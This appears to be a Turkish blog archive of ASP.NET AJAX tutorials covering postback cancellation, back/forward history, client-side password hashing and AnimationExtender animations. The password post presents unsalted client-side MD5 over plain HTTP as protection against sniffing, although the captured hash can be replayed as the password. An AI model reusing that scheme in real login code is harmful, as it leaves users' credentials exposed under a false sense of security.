Yukarıda inceleyebileceğimiz bir sonraki adımda kontrol ettiğimiz iki durum söz konusu. Bunlardan ilki; DurumKontrol fonksiyonumuzun çalışmasına neden olan kaynak AJAX talebinin sayfadaki hangi kontrolden geliyor olduğu. args.get_postBackElement().id komutu ile kaynak kontrolün ID bilgisini alabiliyoruz. Eğer kaynak element Button2 ise, yani İptal düğmesine basılmış ise ve hali hazırda süregelen bir AJAX asenkron veri aktarımı varsa hemen var olan aktarımı iptal etmemiz gerekiyor. prm.get_isInAsyncPostBack() komutu ile hali hazırda süregelen bir AJAX asenkron yüklemesi olup olmadığı öğrenebiliriz. Her iki durum da olumlu ise prm.abortPostBack(); komutu ile süregelen, yani aslında bir önceki yüklemeyi iptal ediyoruz.
else if (prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
{
args.set_cancel(true);
$get("Label1").innerHTML = "Yükleme devam ediyor...";
}
Bir sonraki adımda ek bir kontrol daha yapacağız. Eğer bir yükleme yapılıyorsa ve kullanıcı hala Yükle düğmesine tıklıyorsa, bu sefer de "Yükleme devam ediyor..." şeklinde bir uyarı göstererek yeni bir yükleme başlatmamamızda fayda var. Bu mekanizmayı kurmak için de ilk olarak süregelen bir yükleme var mı diye prm.get_isInAsyncPostBack() komutu ile kontrol ediyor ve eğer yeni elimize ulaşan yükleme talebini de Button1 oluşturmuş ise args.set_cancel(true) komutu ile yeni gelen talebi geçersiz kılıyor, geri çeviriyoruz. Son olarak sayfamızdaki Label1 içerisine uygun bir mesaj aktarıyoruz.
else if (!prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
{
$get("Label1").innerHTML = "Yükleniyor...";
$get("Button2").style.visibility = "visible";
}
Yapacağımız son kontrol aslında bir denetleme değil. Hatırlarsanız örneğimizin başında tasarımımızı yaparken İptal düğmesini sayfada görünmeyecek şekilde ayarlamıştık. Şimdi sıra geldi yeni bir yükleme başladığınıda hemen İptal düğmemizi görünür hale getirmeye. Eğer süregelen bir yükleme yoksa ve yeni bir yükleme işlemi Button1 aracılığı ile başlatılmış ise Label1 içerisine "Yükleniyor.." yazıyoruz ve Button2'nin visibility özelliğini visible olarak değiştiriyoruz.
Sayfamızın tam kodunu aşağıdaki inceleyebilirsiniz.
<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
</head>
<body>
<form id="form1" runat="server">
<asp:ScriptManager ID="ScriptManager1" runat="server" />
<script type="text/javascript" language="javascript">
Sys.WebForms.PageRequestManager.getInstance().add_initializeRequest(DurumKontrol);
function DurumKontrol(sender, args)
{
var prm = Sys.WebForms.PageRequestManager.getInstance();
if (args.get_postBackElement().id == 'Button2' & prm.get_isInAsyncPostBack())
{
prm.abortPostBack();
}
else if (prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
{
args.set_cancel(true);
$get("Label1").innerHTML = "Yükleme devam ediyor...";
}
else if (!prm.get_isInAsyncPostBack() & args.get_postBackElement().id == 'Button1')
{
$get("Label1").innerHTML = "Yükleniyor...";
$get("Button2").style.visibility = "visible";
}
}
</script>
<div>
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="Label1" runat="server"></asp:Label><br />
<asp:Button ID="Button1" runat="server" Text ="Yükle" OnClick="button1_Click" />
<asp:Button ID="Button2" style="visibility:hidden;"
runat="server" Text="İptal" />
</ContentTemplate>
</asp:UpdatePanel>
</div>
</form>
</body>
</html>
Sonuç olarak yukarıdaki teknikler ile sayfa içerisindeki tüm AJAX veri transferi işlemlerine çok daha hakim bir yaklaşım ile çok daha kullanıcı dostu bir web platformu oluşturarak web sitelerimizin ziyaretçilerini biraz daha rahatlatabiliriz.
Hepinize kolay gelsin.
İnternet tarayıcılarındaki Geri ve İleri düğmelerinin ne kadar çok kişi tarafından kullanıldığını ilk AJAX web projelerinin kullanıcılarına teslim edilmesi ile anladım. Neredeyse herkes bu düğmelerin çalışmamasından şikayetçiyi (Haklılardı). AJAX altyapısı üzerine kurduğumuz web sitelerinde performansı arttırmak amacıyla olabildiğince işlemleri AJAX tekniği ile yapmaya çalışıyoruz. Bu durumun iki sakıncası var; birincisi web sitesi içerisindeki farklı konumlar için farklı adresler oluşmuyor. Kullanıcı web sitemizde onlarca düğmeye tıklayarak iç kısımlarda biryerlere ulaşmış olabiliyor fakat sayfa hiç yenilenmediği için ulaştığı noktanın bir adresi (URL) olmuyor. İkinci sakıncası ise makalemin ana nedeni olan ve bir önceki nedenden kaynaklanan, tarayıcılardaki Geri ve İleri düğmelerinin çalışmaması. Sayfanın adresi değişmediği için hiçbir internet tarayıcı sayfanın içerisindeki değişiklikleri adres geçmişine eklemiyor ve bu nedenle geriye veya ileriye gidiş de mümkün olmuyor.
Peki ne yapabiliriz? İlk aşamada sayfanın adresini değiştirmek için sayfa içi çapalar (linkler) kullanabiliriz. Bu tarz linkleri aşağıdaki şekilde tanımlayabilirsiniz. Normal adresin sonuna bir # işareti ile eklenirler ve adresein bu kısmının değişmesi için sayfanın yenilenmesi gerekmez.
http://www.biradres.com/birdosya.aspx?ID=2#Capa
Güzel bir taktik olduğu kesin fakat maalesef yukarıdaki şekliyle yaratılan adresler Internet Explorer içerisinde sayfa geçmişine eklenmeyebiliyor (IE sürümüne bağlı). Bizim tüm tarayıcılarla uyumlu olmamız şart. Bu durumda Internet Explorer için farklı bir teknik kullanmamız gerekecek. Sayfanın içerisine gizli bir IFRAME (Satır içi çerçeve) ekleyerek IFRAME içerisindeki dosyanın adresini değiştirebiliriz. Bu durum Internet Explorer'da adres geçmişine yeni bir sayfay eklemek için yeterli olacaktır. Tek yapmamız gereken sayfamızı yenileyen AJAX komutlarının başına IFRAME adresini de değiştiren bir kod eklemek. Peki Geri veya İleri düğmelerine basıldığını nasıl anlayacağız? IFRAME içerisinde kullanacağımız adres gerçek bir sayfaya yönlenecek ve eğer tarayıcıdaki düğmeler ile bu sayfa değişmişse bir üst seviyedeki ana sayfaya JavaScript ile bir parametre gönderecek. Böylece ana sayfa AJAX teknikleri ile kendini eski haline çevirecek.
Merak etmeyin, biz bunları tek tek yapmayacağız. Onun yerine bu konuda işimizi çok kolaylaştıracak bir sunucu kontrolü kullanacağız. Bahsettiğim kontrolün adı UpdateHistory. Aşağıdaki adresten kontrol paketini indirebilirsiniz. Paket içerisinde yer alan nStuff.UpdateControls.dll dosyasını Toolbox içerisine ekleyerek projenizdeki herhangi bir sayfaya sürükle&bırak tekniği ile kontrolü ekleyebilirsiniz.
http://www.nikhilk.net/Content/Samples/UpdateControls.zip
Kontrolü sayfaya eklediğinizde aşağıdaki şekilde gözükecektir. Kontrol üzerinde yapmamız gereken hiçbir ayar yok.
<nStuff:UpdateHistory ID="UpdateHistory1" runat="server">
</nStuff:UpdateHistory>
Sayfa içerisinde ayrıca deneme amaçlı olarak bir UpdatePanel bulunduralım. UpdatePanel içerisine bir düğme ve bir de Label yerleştirelim. Düğmeye her tıklandığında Label içerisindeki sayısal değeri alıp üzerine bir ekleyip geri döndürsün. Böylece sürekli içeriği değişen bir UpdatePanel sahibi olmuş oluruz.
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="etiket" runat="server">0</asp:Label>
<asp:Button ID="dugme" runat="server" OnClick="dugme_Click" Text="TIKLA" />
</ContentTemplate>
</asp:UpdatePanel>
Yukarıdaki kod içerisinde düğmeye tıklandığında etiket adındaki Label içerisindeki değeri alarak bir arttıracağımızdan bahsetmiştik. Arttırma işlemini yaparken aslında sayfanın içeriği değiştiği için gerekli kaydın tarayıcıya ait sayfa geçmişi listesine de eklenmesini istiyoruz. Böylece İleri ve Geri düğmeleri ile site içerisinde gezebileceğiz. Bunun için aşağıdaki kodu yazıyor olacağız.
Protected Sub dugme_Click(ByVal sender As Object, ByVal e As System.EventArgs)
etiket.Text = CInt(etiket.Text) + 1
UpdateHistory1.AddEntry(CInt(etiket.Text))
End Sub
Yukarıdaki kodun ilk satırı bize yabancı değil. İkinci satıra baktığımızda ise UpdateHistory kontrolüne ait AddEntry metodunu kullandığımızı görüyoruz. Bu metoda vermiş olduğumuz tek parametre olan metin değeri sayfanın adresine, # işaretinden sonrasına ekleyecek. Tarayıcıda ileri veya geri düğmelerine basıldığında bizim sayfayı tekrar eski haline göre düzenlememiz için geriye yine bu veri döndürülecek. Veritabanına bağlı gerçek bir örnekte sayfada gösterilen veriyi bir veritabanı tablosundan Birincil Anahtar (Primary Key) değerini sorguyla göndererek aldığınızı düşünelim. Bu durumda AddEntry komutu ile adrese ekleyeceğimiz veri Primay Key'in ta kendisi olmalıdır. Böylece bir sonraki adımda göreceğimiz üzere sayfa kullanıcı tarafından ileri ve geri düğmeleri ile değiştirildiğinde adresin # işaretinden sonraki kısmına bakarak sayfaya kolaylıkla veri yerleştirebiliriz.
Son olarak gelelim kullanıcının ileri ve geri düğmelerini kullandığında sayfanın nasıl eski haline dönüştürüleceğine. Bu işlemi yapmak için UpdateHistory kontrolüne ait Navigate metodunu kullanacağız. Söz konusu metod bize hedef sayfanın EntryName değerini döndürüyor olacak.
Protected Sub UpdateHistory1_Navigate(ByVal sender As Object, ByVal e As nStuff.UpdateControls.HistoryEventArgs) Handles UpdateHistory1.Navigate
If String.IsNullOrEmpty(e.EntryName) = False Then
etiket.Text = e.EntryName
Else
etiket.Text = "0"
End If
End Sub
Kodumuz içerisinde ilk olarak gelen parametrenin boş olup olmadığını kontrol ediyoruz. Eğer sayfa ilk defa açılıyorsa söz konusu parametre boş olacaktır. Bu durumda etiket adındaki Label içerisine 0 yazmamız yeterli. Eğer UpdateHistory tarafından bize döndürülen EntryName boş değilse kullanıcı bir şekilde Geri veya İleri düğmelerini kullanmış demektir. Kullanıcının hangi sayfaya gitmek istediğini EntryName değişkeni ile anlıyorum. Benim örneğimde bu veriyi direk etiket içerisine yazdırıyorum. Veritabanına bağlı gerçek bir örnekte siz geri dönen Primary Key verinize göre veritabanından gerekli içeriği çekerek sayfaya yerleştirebilirsiniz.
Son olarak projemin doğru çalışıp çalışmadığını kontrol etmek için UpdatePanel dışına da bir Label yerleştirerek sayfa açılışında mevcut saat bilgisini yazdırdım. Böylece sadece UpdatePanel içeriği mi yenileniyor yoksa tüm sayfa mı yenileniyor anlayabileceğim.
Son hali ile sayfanın HTML kodu aşağıdaki şekilde;
<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
<%@ Register Assembly="nStuff.UpdateControls" Namespace="nStuff.UpdateControls" TagPrefix="nStuff" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
</head>
<body>
<form id="form1" runat="server">
<ajaxToolkit:ToolkitScriptManager ID="ScriptManager1" runat="server" />
<div>
<nStuff:UpdateHistory ID="UpdateHistory1" runat="server">
</nStuff:UpdateHistory>
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="etiket" runat="server">0</asp:Label>
<asp:Button ID="dugme" runat="server" OnClick="dugme_Click" Text="TIKLA" />
</ContentTemplate>
</asp:UpdatePanel>
<asp:Label ID="Label1" runat="server" Text="Label"></asp:Label></div>
</form>
</body>
</html>
Sayfamızın Code-Behind kısmı da aşağıdaki gibi sonlandı.
Partial Class _Default
Inherits System.Web.UI.Page
Protected Sub dugme_Click(ByVal sender As Object, ByVal e As System.EventArgs)
etiket.Text = CInt(etiket.Text) + 1
UpdateHistory1.AddEntry(CInt(etiket.Text))
End Sub
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Label1.Text = Date.Now.ToLongTimeString
End Sub
Protected Sub UpdateHistory1_Navigate(ByVal sender As Object, ByVal e As nStuff.UpdateControls.HistoryEventArgs) Handles UpdateHistory1.Navigate
If String.IsNullOrEmpty(e.EntryName) = False Then
etiket.Text = e.EntryName
Else
etiket.Text = "0"
End If
End Sub
End Class
Çözümümüz ile aslında sadece Geri ve İleri tuşları ile ilgili sorunu çözmedik. Ayrıca AJAX uygulamalarında her sayfanın ayrı adreslerinin olmaması sorununu da çözdük. Kopyala - Yapıştır tekniği ile adresler # işaretinden sonraki kısımları ile beraber taşındıklarında başka bir tarayıcıda denenmeleri durumda sayfa doğru konumda açılacaktır.
Hepinize kolay gelsin.
Uzun süredir görsel dersler hazırlamayı düşünüyordum. Esas sorun bu dersleri nasıl blog üzerinden paylaşacağımdı. Terzi kendi söküğünü dikemez konseptine uygun olarak bu konuda blogum için özel bir sayfa programlama şansım maalesef olmadı. Diğer seçenekler arasından ilki MSN SoapBox sitesini kullanmaktı, ikincisi ise nedirtv.com üzerinden görsel dersleri paylaşmaktı.
Blog sitesini de sürekli takip ettiğim Mehmet Nuri Çankaya'nın tavsiyesi ile nedirtv?com ekibi ile iletişime geçtim. nedirtv?com topluluk lideri Uğur Umutluoğlu'nun sıcak ve samimi yaklaşımı ile kararımı vermem pek de zor olmadı ve ilk iki görsel derim nedirtv?com üzerinde yayına girdi. Aşağıdaki adreslerden dersleri izleyebilirsiniz. nedirtv?com'a gönderdiğim videolardan blog üzerinden de haberdar olabileceksiniz, sürekli yazıyor olacağım.
AJAX Control Toolkit Animation Extender
AJAX Control Toolkit Yüklemesi ve Web Sitelerinde Kullanimi
Herhangi bir web sitesi ile kullanıcı (istemci) arasındaki web trafiği normal şartlarda şifrelenmemiş (enkript edilmemiş) olarak aktarılır. Bu durum esasen ciddi bir güvenlik açığı olabilir. İstemci bilgisayar ile sunucu arasındaki ağ trafiğini yakalayabilen biri bu trafik üzerinden geçen veriyi ele geçirerek kötü amaçlarla kullanabilir. Bu açığı engellemek amacıyla özellikle E-Ticaret sitelerinde SSL uygulaması yapılır. https ile başlayan adreslerinden tanıyabileceğimiz bu web sitelerinde istemci ile sunucu arasındaki trafik enkript edilir. Böylece ağ trafiğinin yakalanması halinde bile herhangi bir şekilde söz konusu veri kullanılamayacaktır.
Peki SSL kullanılamayacak, ufak bütçeli projelerde en azından önemli verileri kullanıcıdan (istemci) alırken enkript etme şansımız yok mu? Varsayalım web sitemizin bir kullanıcı giriş sayfası var ve kullanıcımız birer TextBox kontrolüne kullanıcı adını ve şifresini yazıyor. Bir sniffer yazılımı kullanarak ağ trafiğini yakaladığımızda aşağıdaki şekilde şifreyi ele geçirebiliyoruz.
{"Sifre":"GizliSifrem"}
Oysa bu şifreyi istemci tarafında JavaScript kütüphaneleri ile anında MD5 algoritması ile enkript ederek sunucu tarafına gönderme şansımız var. Böyle bir durumda sniffer yazılımı kullandığımızda karşımıza çıkan sonuç aşağıdaki gibi.
{"Sifre":" afb5bcf186d39b00d94917df57b9c593 "}
Şimdi gelin bu işi nasıl yapacağımıza yakından bir göz atalım. İlk olarak Paul Johnston tarafından hazırlanmış olan MD5 JavaScript kütüphanesini aşağıdaki adresten bilgisayarımıza indirelim.
http://pajhome.org.uk/crypt/md5/ Örneğimizde bir ASP.NET AJAX projesi üzerinden çalışacağımız için bilgisayarımıza indirdiğimiz JavaScript dosyamızı web sayfamızdaki ScriptManager’a ScriptReference olarak tanımlayacağız. Böylece JavaScript dosyası sayfamıza linklenmiş olacak.
<asp:ScriptManager EnablePageMethods="true" ID="ScriptManager1" runat="server">
<Scripts>
<asp:ScriptReference Path="md5.js" />
</Scripts>
</asp:ScriptManager>
Kütüphane içerisindeki
hex_md5(); metodunu kullanıyor olacağız. Söz konusu metod String tipinde bir parametre alarak geriye şifrelenmiş Hex-String döndürüyor. Örneğimizde şifre kontrol işlemi için bir ASP.NET AJAX PageMethod kullanacağız. Sayfaya giriş için kullanacağımız Giriş düğmesi ve Şifre, Kullanıcı adı TextBox'ları bir UpdatePanel içerisinde yer alacak.
<script
language="javascript"
type="text/javascript">
function KontrolEt()
{
// Sayfada Sifre TextBox'ına girilmiş şifreyi alıyoruz.
var Pass = $get("Sifre").value;
// Şifreyi şifreliyoruz.
var MD5 = hex_md5(Pass);
// GirisKontrol PageMethod'unu çalıştırarak kullanıcıyı kontrol ediyoruz.
PageMethods.GirisKontrolu(MD5, Oldu);
}
function Oldu(Sonuc)
{
// PageMethod tarafından döndürülen Evet/Hayır sonucunu mesaj kutusu ile gösteriyoruz.
alert(Sonuc);
}
</script>
<asp:UpdatePanel
ID="UpdatePanel1"
runat="server">
<ContentTemplate>
<asp:TextBox ID="Adi" runat="server"></asp:TextBox>
<asp:TextBox
ID="Sifre"
runat="server"></asp:TextBox>
<input
id="Giris"
type="button"
value="Giris"
onclick="KontrolEt();"
/>
</ContentTemplate>
</asp:UpdatePanel>
Sunucu tarafına baktığımızda ise elimizdeki gerçek şifreyi istemciden gelen enkript edilmiş şifre ile karşılaştırmak üzere enkript ediyor olacağız. Biz örneğimizde gerçek şifreyi veritabanından vs çekmeyeceğiz. Onun yerine ben GerçekŞifrem metnini şifre olarak kullanacağım. Siz projelerinizde bu metni kullandığınız veritabanlarına bağlayabilirsiniz. Aşağıda sunucu taraflı yazmış olduğumuz AJAX PageMethod kodu yer alıyor.
<System.Web.Services.WebMethod()> _
Shared
FunctionGirisKontrolu(ByVal
Sifre As String)
As Boolean
'Şifremizi IOStream objesine çevirecek olan encoder objesini tanımlayalım.
Dim encoder As
New UTF8Encoding()
'MD5 Servisine ulaşalım.
Dim MD5 As
New
System.Security.Cryptography.MD5CryptoServiceProvider
'Doğru şifreyi enkript edelim.
Dim GercekSifre
As Byte() = MD5.ComputeHash(encoder.GetBytes("GerçekŞifrem"))
'Gerçek Şifremizi HEX'e çevirelim.
Dim Dogru As
New StringBuilder()
For i As
Integer = 0 To
GercekSifre.Length - 1
Dogru.Append(GercekSifre(i).ToString("x2"))
Next i
'Enkript edilmiş doğru şifre ile istemciden gelen enkript edilmiş şifreyi karlılaştıralım..
If Dogru.ToString = Sifre
Then
Return True
Else : Return
False
End If
End Function
Hepsi bu kadar. Artık istemci tarafında girilen tüm şifreler enkript edildikten sonra sunucuya kontrol için gönderiliyor olacak. Böylece istemci ile sunucu arasındaki hiçbir yazılım veya donanım söz konusu şifreyi ağ trafiği üzerinden yakalasa bile tam olarak ne olduğunu anlayamayacaktır.
Hepinize kolay gelsin.
ASP.NET AJAX kitabımda detaylıca bahsettiğim AJAX Control Toolkit benim en çok
ilgimi çeken kontrollerden biri olan Animation Extender maalesef dokümantasyon eksikliği yüzünden (kitabımı almayanlar tarafından :)) pek kullanılamıyor. Umarım bu makale bu boşluğu doldurur.
AJAX Control
Toolkit Animation Extender kontrolü bize XML kodları yazarak DHTML animasyonları yaratma olanağı sağlıyor. Bu konsept bizim ileride Silverlight ile daha da aşina
olacağımız XAML (XML kodu) ile animasyon yaratma konseptine çok yakın. Hızlı
bir şekilde ilk örneğimize geçmeden önce bilgisayarınızda ASP.NET AJAX 1.0 ve AJAX Control Toolkit’in yüklü olduğundan emin olalım, eğer gerekli
yüklemeler bilgisayarınızda eksikse aşağıdaki adreslerden indirerek hemen
yükleyebilirsiniz.
http://www.microsoft.com/downloads/details.aspx?FamilyID=ca9d90fa-e8c9-42e3-aa19-08e2c027f5d6&displaylang=en
http://www.codeplex.com/AtlasControlToolkit/Release/ProjectReleases.aspx?ReleaseId=4923
Yükleme sonrası Visual Studio veya Visual Web Developer Express içerisinde ASP.NET web sitesi yaratmak
istediğinizde seçenek olarak “AJAX Control Toolkit Web Site” seçeneği de karşınıza çıkacaktır.

Yeni bir “Ajax Control
Toolkit Web Site” yarattıktan sonra karşımıza ilk
çıkan default.aspx dosyasına Toolbar içerisinden bir AnimationExtender eklediğimizde sayfamızın tasarım bölümünde aşağıdaki HTML kodu ile
karşılaşıyoruz
<%@ Page Language="VB"
AutoEventWireup="true"
CodeFile="Default.aspx.vb"
Inherits="_Default"
%>
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled
Page</title>
</head>
<body>
<form id="form1" runat="server">
<ajaxToolkit:ToolkitScriptManager ID="ScriptManager1" runat="server" />
<div>
<ajaxToolkit:AnimationExtender ID="AnimationExtender1" runat="server">
</ajaxToolkit:AnimationExtender>
</div>
</form>
</body>
</html>
Sayfa içerisinde toplam iki adet kontrol bulunuyor.
Bunlardan ilki olan ToolkitScriptManager sayfamızı
ilk açtığımızda zaten içerisinde vardı. ASP.NET AJAX 1.0 ile daha önce projeler gerçekleştirmiş olanlar hatırlayacaktır; AJAX
özellikleri kullanacağımız her sayfada ScriptManager adında bir kontrolün sayfanın en başında yer alması gerekiyordu. ScriptManager sayfamızdaki diğer AJAX kontrollerinin
çalışabilmesi ve bizim istemci taraflı AJAX kodları yazarken Microsoft
kütüphanesinden faydalanabilmemiz için gerekli olan tüm JavaScript kütüphanelerinin sayfaya eklenmesini sağlıyor. AJAX Control
Toolkit söz konusu olduğunda Control
Toolkit içerisindeki her kontrolün kendi ayrı JavaScript dosyalarının da sayfaya eklenmesi gerektiğini
düşünürsek bazen bir sayfada kullanılan farklı AJAX kontrolleri nedeniyle 10-15
adet farklı JavaScript dosyalarının arkaplanda sayfaya eklenmiş olduğunu görebiliyorduk.
Aslında tüm bu JavaScript kodlarının olabildiğince
daha az sayıda dosyada derlenmesi ve toplu olarak sayfaya eklenmesi daha
mantıklı olacaktır. İşte bu bahsettiğimiz optimizasyonu bizim yerimize ToolkitScriptManager yapacak. Bunun
için de klasik ASP.NET AJAX ScriptManager yerine Control Toolkit kullanılan
projelerde artık ToolkitScriptManager kullanıyor
olacağız.
Sayfadaki diğer kontrol bizim biraz önce eklediğimiz AnimationExtender kontrolü. Gelin şimdi hızlı bir şekilde
bu kontrolün aldığı özelliklere bakmak için aşağıdaki kodu inceleyelim.
<ajaxToolkit:AnimationExtender ID="AnimationExtender1"
runat="server"
TargetControlID="Button1">
<Animations>
<OnLoad> ... </OnLoad>
<OnClick> ... </OnClick>
<OnMouseOver>
... </OnMouseOver>
<OnMouseOut> ...
</OnMouseOut>
<OnHoverOver>
... </OnHoverOver>
<OnHoverOut> ...
</OnHoverOut>
</Animations>
</ajaxToolkit:AnimationExtender>
AnimationExtender kontrolümüz
kendi içerisinde tanımlayacağımız tüm animasyonlara sayfadaki hangi elementin
neden olacağını TargetControlID aracılığı ile bizden
öğreniyor. Örneğin sayfada bir düğmeye tıklanacak ve sonrasında animasyon
uygulanacaksa TargetControlID değerine söz konusu
düğmenin ID bilgisini vermemiz gerekiyor. Tabi sadece tıklama (OnClick) gibi durumlarla sınırlandırılmış değiliz;
yukarıdaki kod içerisinde de görebileceğiniz gibi OnLoad, OnMouseOver gibi çok sayıda durum (event) söz konusu. Her bir durumda uygulanmak üzerine
farklı animasyonlar tanımlayabiliyoruz, fakat tüm bu durumlar TargetControlID özelliğine aktarılmış elementin durumlarına
bağlı olacak.
Animasyonlarımızı XML kodları ile yazacağımızdan
bahsetmiştim. Her bir farklı durum (onclick, onload… vs) için farklı animasyanları hazırladıktan sonra yukarıdaki örnekteki uygun
duruma ait (onclick vs) XML taglarının arasına yazmamız gerekiyor. Hemen bir örnek ile ilerleyelim.
<ajaxToolkit:AnimationExtender ID="AnimationExtender1"
runat="server"
TargetControlID="Button1">
<Animations>
<OnHoverOver>
<FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
</OnHoverOver>
<OnHoverOut>
<FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
</OnHoverOut>
</Animations>
</ajaxToolkit:AnimationExtender>
<asp:Button ID="Button1"
runat="server"
Text="Button"
/>
Sayfamıza ayrıca bir Button ekledik. Bu düğmeyi hedef kontrol yani TargetControlID olarak ayarladık. AnimasyonExtender içerisinde FadeIn ve FadeOut olarak iki
farklı animasyonu hedef kontrolün iki farklı durumuna (OnHoverOver ve OnHoverOut) tanımladık. Böylece fare ile hedef
kontrolün üzerine gelindiğinde OnHoverOver içerisinde
tanımlanmış animasyon, fare ile hedef kontrolün üzerinden ayrıldığımızda ise OnHoverOut içerisindeki animasyon çalışacak. Animasyonların
tanımlanması ile ilgili detayları birazdan inceleyeceğiz, şimdilik durum
kontrolüne konsantre olarak yukarıdaki kodu tekrar
incelemenizi tavsiye ediyorum.
Animasyon tanımlamalarımızı yaparken iki farklı seçeneğimiz
var. Bunlardan ilki Sequence animasyon, diğeri ise Parallel. Sequence animasyon tagları içerisinde yer alan tüm animasyonlar tek tek, XML kodu içerisine yazılma sıraları ile
gerçekleştirilir. Bir animasyon bitmeden diğerine geçilemez. Parallel animasyonlarda ise tüm animasyon aynı anda
çalışır. Bir Sequence animasyon içerisinde bir Parallel animasyon yer alabileceği gibi tam tersi de
olabilir. Gelin yine örnek üzerinden gidelim.
Örneğimizdeki sayfaya bir ASP.NET Calendar kontrolü ekleyeceğim. Sayfada yer alacak olan iki farklı düğmeden biri Calender kontrolünü %10 şeffaf yapacak, diğeri ise tekrar
görünür hale getirecek. İki farklı hedef kontrolüm, yani iki farklı TargetControl olacağı için mecburen iki farklı AnimationExtender kullanacağım.
<ajaxToolkit:AnimationExtender ID="AnimationExtender1"
runat="server"
TargetControlID="Button1">
<Animations>
<OnClick>
<Sequence AnimationTarget="Calendar1">
<FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
</Sequence>
</OnClick>
</Animations>
</ajaxToolkit:AnimationExtender>
<ajaxToolkit:AnimationExtender ID="AnimationExtender2" runat="server"
TargetControlID="Button2">
<Animations>
<OnClick>
<Sequence AnimationTarget="Calendar1">
<FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
</Sequence>
</OnClick>
</Animations>
</ajaxToolkit:AnimationExtender>
<asp:Button ID="Button1"
runat="server"
OnClientClick="return
false" Text="Görünmez
Yap" />
<asp:Button ID="Button2"
runat="server"
OnClientClick="return
false" Text="Görünür
Yap" />
<asp:Calendar ID="Calendar1"
runat="server"></asp:Calendar>
Yukarıdaki kod içerisinde bizim için yeni olabilecek iki şey
var. Bunlardan ilki Sequence animasyonlar ve bu
animasyonlara ait AnimationTarget özellikleri. Daha
önceki örneğimizde animasyona neden olan kontrol, yani TargetControl ile animasyonun gerçekleştiği kontrol aynıydı. Oysa şu an biz bir düğmeye
tıklayıp başka bir kontrole animasyon uygulamak istiyoruz. Bu nedenle animasyon
serisine yani Sequence animasyonuna bir hedef
belirtmemiz gerekiyor. Örneğimizde bu kontrol Calendar1 olacak çünkü animasyonu
takvime uygulayacağım. Bir ikinci ilginç nokta da düğmelerimize verdiğimiz OnClientClick özellikleri. Sayfada normal ASP.NET düğmeleri
kullandığımız için doğal olarak düğmelere her tıkladığımızda sayfa PostBack oluyor. Oysa bizim animasyonların çalışabilmesi için
bunu engellememiz şart. Bu nedenle ClientClick özelliklerine “return false”
JavaScript kodunu yazıyoruz. Böylece söz konusu
düğmelere tıklandığında sayfa PostBack olmayacak,
sadece animasyonlar çalışacak.
Şimdi bir de Parallel animasyon
denemesi yapalım. Parallel animasyon tagları arasında iki farklı animasyon koyacağız.
Animasyonlardan biri yine takvimin görünürlük değerini değiştirirken diğeri de
aynı takvimin fon rengini beyazdan kırmızıya ve kırmızıdan beyaza çevirecek.
<ajaxToolkit:AnimationExtender ID="AnimationExtender1"
runat="server"
TargetControlID="Button1">
<Animations>
<OnClick>
<Parallel AnimationTarget="Calendar1">
<FadeOut Duration=".5" Fps="20" MinimumOpacity=".1" />
<Color PropertyKey="backgroundColor" StartValue="#FFFFFF" EndValue="#ff0000" />
</Parallel>
</OnClick>
</Animations>
</ajaxToolkit:AnimationExtender>
<ajaxToolkit:AnimationExtender ID="AnimationExtender2" runat="server"
TargetControlID="Button2">
<Animations>
<OnClick>
<Parallel AnimationTarget="Calendar1">
<FadeIn Duration=".5" Fps="20" MinimumOpacity=".1" />
<Color PropertyKey="backgroundColor" StartValue="#ff0000" EndValue="#FFFFFF" />
</Parallel>
</OnClick>
</Animations>
</ajaxToolkit:AnimationExtender>
<asp:Button ID="Button1"
runat="server"
OnClientClick="return
false" Text="Görünmez
Yap" />
<asp:Button ID="Button2"
runat="server"
OnClientClick="return
false" Text="Görünür
Yap" />
<asp:Calendar ID="Calendar1"
runat="server"></asp:Calendar>
Animasyonlar içerisinde kullanabileceğiniz farklı
animasyon taglarını sırayla inceleyelim.
<Resize Width="200" Height="300" Unit="px" />
Yukarıdaki animasyon ile hedef elementin yüksekliğinin ve
genişliğinin verilen değerlere doğru bir animasyon ile büyütülmesini veya
küçültülmesini sağlayabilirsiniz.
<EnableAction Enabled="false" />
Özellikle düğmelerin tıklanabilir olması veya olmaması
arasında geçiş yapmak için yukarıdaki animasyon kodunu kullanabilirsiniz. Bir
düğmenin rengini açık bir renkten koyu bir renge çevirirken aynı anda paralel
bir animasyonda düğmeyi tıklanamaz hale de getirebilirsiniz.
<ScriptAction Script="alert('Selamlar!');" />
Sadece animasyon yapmakla kalmayıp animasyonlarınızın belirli
noktalarında JavaScript kodları da
çalıştırabilirsiniz. Bu özellik animasyonlar tamamlandıktan sonra
kullanılırsa animasyonun bitmesi ile sayfada farklı işlemler yapabilmenizi
sağlayabilir.
<Color AnimationTarget="MyContent"
Duration="1"
StartValue="#FF0000"
EndValue="#666666"
Property="style"
PropertyKey="backgroundColor" />
Objelerin CSS özellikleri üzerinde direk oynamak için
yukarıdaki kodu kullanabilirsiniz. Örneğin bu kod içerisinde hedef objenin fon
rengi değiştiriliyor.
